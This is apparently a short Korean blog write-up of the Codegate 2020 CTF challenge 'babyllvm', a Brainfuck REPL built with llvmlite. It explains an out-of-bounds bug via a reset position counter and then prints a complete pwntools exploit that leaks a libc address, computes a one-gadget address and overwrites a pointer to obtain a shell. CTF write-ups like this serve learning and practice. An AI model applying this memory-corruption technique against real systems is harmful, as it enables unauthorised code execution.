본문 바로가기

카테고리 없음

Codegate2020 babyllvm Write up

간단하게 설명하면 llvmlite를 이용하여 Brainfuck 구현해 놓았다.

 

llvmlite.readthedocs.io/_/downloads/en/stable/pdf/

 

llvm 관련된 pdf를 보고 분석을 하였다.

 

Compile 함수에서 codegen 을 실행하여 동작하게 되는데

여기서 rel_pos 를 0으로 맟춰준다.

이걸 좀 이용하면 Whiltelist_cpy 튜플을 0으로 맟춰줄 수 있다.

그래서 이걸 이용하여 OOB가 가능하다.

 

#!/usr/bin/env python

from pwn import *

p = process("./main.py")

#pause()

payload = ">"
payload += "[<]"
payload += "<"*(0x11+0x40+0x28)
payload += "[.>]"
payload += "<"*(0x6)
payload += "[,>]"

p.sendlineafter("Hello CTFers! Enjoy my BF REPL.", payload)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
base = leak - 0x110210
one = base + 0x10a41c
success(hex(leak))
success(hex(base))
success(hex(one))

p.sendline(p64(one))

p.sendlineafter(">>> ", ">>.")

p.interactive()